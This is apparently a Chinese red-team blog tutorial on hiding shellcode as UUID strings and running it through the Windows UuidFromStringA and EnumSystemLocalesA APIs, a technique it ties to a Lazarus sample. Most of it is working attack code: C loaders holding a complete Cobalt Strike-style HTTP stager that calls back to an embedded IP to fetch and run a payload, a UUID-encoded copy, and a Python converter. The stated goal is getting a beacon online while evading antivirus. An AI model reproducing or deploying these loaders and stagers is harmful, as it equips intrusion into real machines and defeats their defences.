红队技巧-利用uuid加载shellcode

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近期国外的Tweet上面的Check Point Research发布了一篇有趣的推文

这篇推文大概讲的是通过分析了一个恶意样本,找到一种非常有趣的向内存写入shellcode方式。

这里就不细究钓鱼文档利用宏加载shellcode的细节了,感兴趣的可以去看这篇文章:

https://research.nccgroup.com/2021/01/23/rift-analysing-a-lazarus-shellcode-execution-method/

值得注意的是:

在自定义代码中,攻击者使用了windows api 遍历了大量硬编码 UUID 值列表,并且每次都提供指向分配内存(堆)的指针,深入分析后,发现了一种将数据写入堆的方法。

这种技术早在2017年就有国外大佬提出,但是最近才抓到恶意样本,爆出来!!



uuid是什么?

通用唯一识别码(Universally Unique Identifier,缩写:UUID),是用于计算机体系中以识别信息数目的一个128位标识符,根据标准方法生成,不依赖中央机构的注册和分配,UUID具有唯一性。

当然还有一种GUID(全局唯一标识符(英语:Globally Unique Identifier,缩写:GUID)),是一种由算法生成的唯一标识,通常表示成32个16进制数字(0-9,A-F)组成的字符串,如:{21EC2020-3AEA-1069-A2DD-08002B30309D},它实质上是一个128位长的二进制整数

1.那两种有什么区别?

简单的说,uuid 是一种标准, 而guid是uuid的一种实现.,GUID 是微软对UUID这个标准的实现。

2.UUID有什么作用?

看一个示例: 

COMB(combine)型是数据库特有的一种设计思想,可以理解为一种改进的GUID,它通过组合GUID和系统时间,以使其在索引和检索事有更优的性能,数据库中没有COMB类型,它是Jimmy Nilsson在他的“The Cost of GUIDs as Primary Keys”一文中设计出来的。

COMB数据类型的基本设计思路是这样的:既然UniqueIdentifier数据因毫无规律可言造成索引效率低下,影响了系统的性能,那么我们能不能通过组合的方式,保留UniqueIdentifier的前10个字节,用后6个字节表示GUID生成的时间(DateTime),这样我们将时间信息与UniqueIdentifier组合起来,在保留UniqueIdentifier的唯一性的同时增加了有序性,以此来提高索引效率。

简而言之:UUID 的目的是让分布式系统中的所有元素,都能有唯一的标识,而不需要透过中央控制端来做标识的指定。如此一来,每个人都可以建立不与其它人冲突的 UUID,在这样的情况下,就不需考虑数据库建立时的名称重复问题。


实现原理

首先我们得先关注一下两个windows api 函数

1.UuidFromStringA

查看微软的官方文档,给出了这样的解释:

红队技巧-利用uuid加载shellcode

这个意思说吧,把uuid值转换成二进制字节序列,该api 需要两个参数

1.转换成二进制字节序列的uuid的指针

2.以二进制形式返回指向UUID的指针

第一项参数很好理解,第二项参数可能翻译过来有点牵强,很好理解,就是用来接收二进制字节序列的指针。

其实python 中也有uuid库,转换挺方便的,把字节序列转换成uuid,再把uuid转换成字节序列

红队技巧-利用uuid加载shellcode

还有需要注意的点,就是windows 二进制字节序列是用的小端计数法,转换时且二进制序列必须16个字符为一组。

2.EnumSystemLocalesA

微软官方文档:


红队技巧-利用uuid加载shellcode

这里牵扯到回调函数:

回调函数就是一个通过函数指针调用的函数,意思是通过函数指针来调用函数,字面不好理解,你不妨看看以下示例

((void(*)())exec)();

这段代码很经典,很多人看了很懵逼,但是对于懂指针的人来说,理所当然,在c语言中,函数变量名存的就是一个函数入口地址,换句话说函数变量名就是一个指针。

然后再让我们理解以下上面那句代码

void(*)() #定义一个函数指针,函数返回值为空((void(*)())exec #强制类型转换,把exec指针强制转换成函数指针((void(*)())exec)();#执行入口地址为exec指向的地址的函数


而EnumSystemLocalesA 函数的第一次个参数就是回调函数地址,第二个参数是指定要枚举的语言环境标识符的标志。

那么上面的就可以写成这个样子:

EnumSystemLocalesA(exec,0);

利用uuid来加载shellcode,上线cs

我们先来看普通的shellcode 的c加载方式

#include <windows.h>  #include <stdio.h> #不弹窗#pragma comment(linker,"/subsystem:"windows" /entry:"mainCRTStartup"") #pragma comment(linker, "/INCREMENTAL:NO")   
unsigned char shellcode[]="shellcode binary ";
int main(){ char *a = VirtualAlloc(NULL, sizeof(xor_xcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(a, xcode, sizeof(xcode)); ((void(*)())a)(); return 0;}
#include<Windows.h>#include<iostream>unsigned char buf[] = "xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8bx12xebx86x5dx68x6ex65x74x00x68x77x69x6ex69x54x68x4cx77x26x07xffxd5x31xffx57x57x57x57x57x68x3ax56x79xa7xffxd5xe9x84x00x00x00x5bx31xc9x51x51x6ax03x51x51x68x50x00x00x00x53x50x68x57x89x9fxc6xffxd5xebx70x5bx31xd2x52x68x00x02x40x84x52x52x52x53x52x50x68xebx55x2ex3bxffxd5x89xc6x83xc3x50x31xffx57x57x6axffx53x56x68x2dx06x18x7bxffxd5x85xc0x0fx84xc3x01x00x00x31xffx85xf6x74x04x89xf9xebx09x68xaaxc5xe2x5dxffxd5x89xc1x68x45x21x5ex31xffxd5x31xffx57x6ax07x51x56x50x68xb7x57xe0x0bxffxd5xbfx00x2fx00x00x39xc7x74xb7x31xffxe9x91x01x00x00xe9xc9x01x00x00xe8x8bxffxffxffx2fx31x6bx6ax56x00xfexdcx7ax2dx31xc9xe7x28x1exb5x42x5fx62xa3xf5x64x42x79x2dxa2xd8xf7x74xcaxc1x64xc7xc2xfex32xb2x36x0axa0x90x4exfaxd4x47x04xa4x8bxd9xe6x65xa1x8fxbexe4xb6x95x63xf0xb4x46x20x85xf8x60x5exb1xf8xa0x59xefx9exb2xc6xe6xf9x5dx8ex07x00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x31x30x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex32x3bx20x57x4fx57x36x34x3bx20x54x72x69x64x65x6ex74x2fx36x2ex30x3bx20x54x6fx75x63x68x3bx20x4dx41x53x50x4ax53x29x0dx0ax00x91xa8x10xb7xdax80x7fxabxc7x23x16x2fx4bx61xbdxebxa5x14x6fx90x4bxdfx5ax58xe0x57x55x1fxdbx6ax56x74xc2xa1x9cx9fx32xdax91x0dx01x10x2dx95xefx8ex49x72x3ax2bx9ex59x8ex85xa6xadxb6x9cxc6x98x10x7dx09x1fx60xa3x4axeaxbex4axf5x49x8axc7x18xd6x60x22x51x17xb8xd6x61xd3x8ax81x37x3ex6ax3dx1cx3dxc5xf3xa0x57x02x04x44x57xc1x14x23x71xc2x08x87x6cx94x6bx89xc1xd9x2bxccx6bx62x25x3fxbbx9fx56x02xf1x54x4dx4dx91x4ex89x5bxdax5fxf0x92xa5xacxb2xafxcfxbbxe2xafxb0xcax5bx08x83x4cx92x7axb5x97xb9xd2x07xc9x8fxb7x80xfcx26x3dxa3xd1x9ex29x42x05xcdx0bx78xc2x11x86x4fx66x57xdaxe2x4bx98xccx46x4dxe5xbdxfexc7x2cxc4xd3xe5xc0xf9x43xcaxd4x1dx5ax73xdax00x68xf0xb5xa2x56xffxd5x6ax40x68x00x10x00x00x68x00x00x40x00x57x68x58xa4x53xe5xffxd5x93xb9x00x00x00x00x01xd9x51x53x89xe7x57x68x00x20x00x00x53x56x68x12x96x89xe2xffxd5x85xc0x74xc6x8bx07x01xc3x85xc0x75xe5x58xc3xe8xa9xfdxffxffx31x30x2ex31x39x2ex34x32x2ex31x34x34x00x12x34x56x78";int main(){ void* shellcode = (void*)VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(shellcode, buf, sizeof(buf)); ((void(*)())shellcode)(); return 0;}

然后我们来利用uuid写shellcode

#include<Windows.h>#include<Rpc.h>#include<iostream>#pragma comment(lib,"Rpcrt4.lib")using namespace std;const char* uuids[] = { "0089e8fc-0000-8960-e531-d2648b52308b","528b0c52-8b14-2872-0fb7-4a2631ff31c0","7c613cac-2c02-c120-cf0d-01c7e2f05257","8b10528b-3c42-d001-8b40-7885c0744a01","488b50d0-8b18-2058-01d3-e33c498b348b","ff31d601-c031-c1ac-cf0d-01c738e075f4","3bf87d03-247d-e275-588b-582401d3668b","588b4b0c-011c-8bd3-048b-01d089442424","59615b5b-515a-e0ff-585f-5a8b12eb865d","74656e68-6800-6977-6e69-54684c772607","ff31d5ff-5757-5757-5768-3a5679a7ffd5","000084e9-5b00-c931-5151-6a0351516850","53000000-6850-8957-9fc6-ffd5eb705b31","006852d2-4002-5284-5252-53525068eb55","d5ff3b2e-c689-c383-5031-ff57576aff53","062d6856-7b18-d5ff-85c0-0f84c3010000","f685ff31-0474-f989-eb09-68aac5e25dff","68c189d5-2145-315e-ffd5-31ff576a0751","b7685056-e057-ff0b-d5bf-002f000039c7","ff31b774-91e9-0001-00e9-c9010000e88b","2fffffff-6b31-566a-00fe-dc7a2d31c9e7","42b51e28-625f-f5a3-6442-792da2d8f774","c764c1ca-fec2-b232-360a-a0904efad447","d98ba404-65e6-8fa1-bee4-b69563f0b446","60f88520-b15e-a0f8-59ef-9eb2c6e6f95d","5500078e-6573-2d72-4167-656e743a204d","6c697a6f-616c-352f-2e30-2028636f6d70","62697461-656c-203b-4d53-49452031302e","57203b30-6e69-6f64-7773-204e5420362e","57203b32-574f-3436-3b20-54726964656e","2e362f74-3b30-5420-6f75-63683b204d41","534a5053-0d29-000a-91a8-10b7da807fab","2f1623c7-614b-ebbd-a514-6f904bdf5a58","1f5557e0-6adb-7456-c2a1-9c9f32da910d","952d1001-8eef-7249-3a2b-9e598e85a6ad","98c69cb6-7d10-1f09-60a3-4aeabe4af549","d618c78a-2260-1751-b8d6-61d38a81373e","3d1c3d6a-f3c5-57a0-0204-4457c1142371","6c8708c2-6b94-c189-d92b-cc6b62253fbb","f102569f-4d54-914d-4e89-5bda5ff092a5","cfafb2ac-e2bb-b0af-ca5b-08834c927ab5","07d2b997-8fc9-80b7-fc26-3da3d19e2942","780bcd05-11c2-4f86-6657-dae24b98cc46","febde54d-2cc7-d3c4-e5c0-f943cad41d5a","6800da73-b5f0-56a2-ffd5-6a4068001000","00006800-0040-6857-58a4-53e5ffd593b9","00000000-d901-5351-89e7-576800200000","12685653-8996-ffe2-d585-c074c68b0701","75c085c3-58e5-e8c3-a9fd-ffff31302e31","32342e39-312e-3434-0012-345678000000" }; int main(){  HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);//获得可执行的句柄  void* ha = HeapAlloc(hc, 0, 0x100000);//申请堆空间  if (ha == NULL)  {    cout << "内存申请失败!" << endl;    return 0;  }  DWORD_PTR hptr = (DWORD_PTR)ha;  int elems = sizeof(uuids) / sizeof(uuids[0]);//获得需要写入uuids数组元素个数  for (int i = 0; i < elems; i++)  {    //cout << (RPC_CSTR)uuids[i] << endl;    //cout << (UUID*)hptr << endl;    RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);//写入shellcode      if (status != RPC_S_OK)//判断是否写入正常      {        cout << "UuidFromeStringA()!=S_OK" << endl;        CloseHandle(ha);          return -1;      }    hptr += 16;  }  //((void(*)())ha)();  EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);//回调函数,运行shellcode  CloseHandle(ha);  return 0;}

cs直接上线,这里我们需要用的一个python转换uuid脚本:

import uuidshellcode=b"xfcxe8x89x00x00x00x60x89xe5x31xd2x64x8bx52x30x8bx52x0cx8bx52x14x8bx72x28x0fxb7x4ax26x31xffx31xc0xacx3cx61x7cx02x2cx20xc1xcfx0dx01xc7xe2xf0x52x57x8bx52x10x8bx42x3cx01xd0x8bx40x78x85xc0x74x4ax01xd0x50x8bx48x18x8bx58x20x01xd3xe3x3cx49x8bx34x8bx01xd6x31xffx31xc0xacxc1xcfx0dx01xc7x38xe0x75xf4x03x7dxf8x3bx7dx24x75xe2x58x8bx58x24x01xd3x66x8bx0cx4bx8bx58x1cx01xd3x8bx04x8bx01xd0x89x44x24x24x5bx5bx61x59x5ax51xffxe0x58x5fx5ax8bx12xebx86x5dx68x6ex65x74x00x68x77x69x6ex69x54x68x4cx77x26x07xffxd5x31xffx57x57x57x57x57x68x3ax56x79xa7xffxd5xe9x84x00x00x00x5bx31xc9x51x51x6ax03x51x51x68x50x00x00x00x53x50x68x57x89x9fxc6xffxd5xebx70x5bx31xd2x52x68x00x02x40x84x52x52x52x53x52x50x68xebx55x2ex3bxffxd5x89xc6x83xc3x50x31xffx57x57x6axffx53x56x68x2dx06x18x7bxffxd5x85xc0x0fx84xc3x01x00x00x31xffx85xf6x74x04x89xf9xebx09x68xaaxc5xe2x5dxffxd5x89xc1x68x45x21x5ex31xffxd5x31xffx57x6ax07x51x56x50x68xb7x57xe0x0bxffxd5xbfx00x2fx00x00x39xc7x74xb7x31xffxe9x91x01x00x00xe9xc9x01x00x00xe8x8bxffxffxffx2fx76x31x62x53x00x7fx91xe7xa6x06xafx0ex4cxd7x9axe9x05x62x44xdax5cx48x62xfex2cx1axb1x46xe5x9ex3bx14x69x39x97x1fx0bxfbx1axf6x8dx89x79x72x62x8fxccx16x3axabx4cx4bx8dx50xe4xb5xa1x30x1fx46x17x84xa1x17x69xecx2ax4axfexe7xb0x87xb9x7bx5cx61x3axfex00x55x73x65x72x2dx41x67x65x6ex74x3ax20x4dx6fx7ax69x6cx6cx61x2fx35x2ex30x20x28x63x6fx6dx70x61x74x69x62x6cx65x3bx20x4dx53x49x45x20x39x2ex30x3bx20x57x69x6ex64x6fx77x73x20x4ex54x20x36x2ex31x3bx20x57x4fx57x36x34x3bx20x54x72x69x64x65x6ex74x2fx35x2ex30x3bx20x4dx41x53x42x29x0dx0ax00x79x00x1bx42x2ex57x64xdax01x3cx02xc6x2ax4axdaxc8x22x1ex92x76x61x47x80x02xb1x8cx24x61x92x9fx53x58x73xdexaex52x30x67x82x47x32x4bx35x10x11xfdxe2x1dx2bx26x18x6bx9dx85x58x10x32xa4x0axcdx92xc1x5ax10x50x6bxe7x87x2axd9xcfxcex92x06x1cx39x6bx75x42xfbx81x4bx60x0bx56xccx1bxa7xe6x0bx0fx49xddxc5xccx48x0dxf4xdbx98xf1xbfx0dxa8x9bx45xcbx4fx41x26x96xf5x0dx4dxe4x58x83x1fx81x6ex67xeax94xabx49x5cxc0x6fx1dx8cx78x8cxc5xd7x01x4dxc7x89xc1x8exe5x46x6dxabx99x5fxa2x26xe1xccx58x8cxefx16xcdxe5x02x4axf9xe5x42x1cxb8x4ax96x7ex69x9ax30x37x97x0dx4ex7ex4cxafx69xccx9ax36xb3xe5x2ax7bx77x64x48x30xa3x44x27x76xd8xe6x03x2ax56xebxe7x21xb1xf6x78x2exf0xaax43xdfx46xa3x95x14x00x68xf0xb5xa2x56xffxd5x6ax40x68x00x10x00x00x68x00x00x40x00x57x68x58xa4x53xe5xffxd5x93xb9x00x00x00x00x01xd9x51x53x89xe7x57x68x00x20x00x00x53x56x68x12x96x89xe2xffxd5x85xc0x74xc6x8bx07x01xc3x85xc0x75xe5x58xc3xe8xa9xfdxffxffx31x39x32x2ex31x36x38x2ex30x2ex31x30x34x00x12x34x56x78x90x90"list = []for i in range(50):    bytes_a = shellcode[i * 16: 16 + i * 16]    b = uuid.UUID(bytes_le=bytes_a)    list.append(str(b))with open("shellcode.c","w",encoding="utf-8") as f:    f.write("const char* uuids[] ={")    for UUID in list:        f.write("""+UUID+"""+",")    f.write("};")print(list)

替换shellcode,你懂我的意思吧!

在实验的时候我忘了关卡巴,然后你懂得!哈哈哈哈哈哈哈哈哈


学习总结

这里虽然还是给杀了,那是因为这种uuid还是存在一定的特征,还是会被杀,但是这里讲究的是一个思路,可以用其他windows api 来向内存中写入shellcode,加载shellcode,而且在国外大佬blog提到了很多windows api都可以实现这样的功能。


红队技巧-利用uuid加载shellcode

END

红队技巧-利用uuid加载shellcode


红队技巧-利用uuid加载shellcode


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红队技巧-利用uuid加载shellcode

红队技巧-利用uuid加载shellcode
红队技巧-利用uuid加载shellcode
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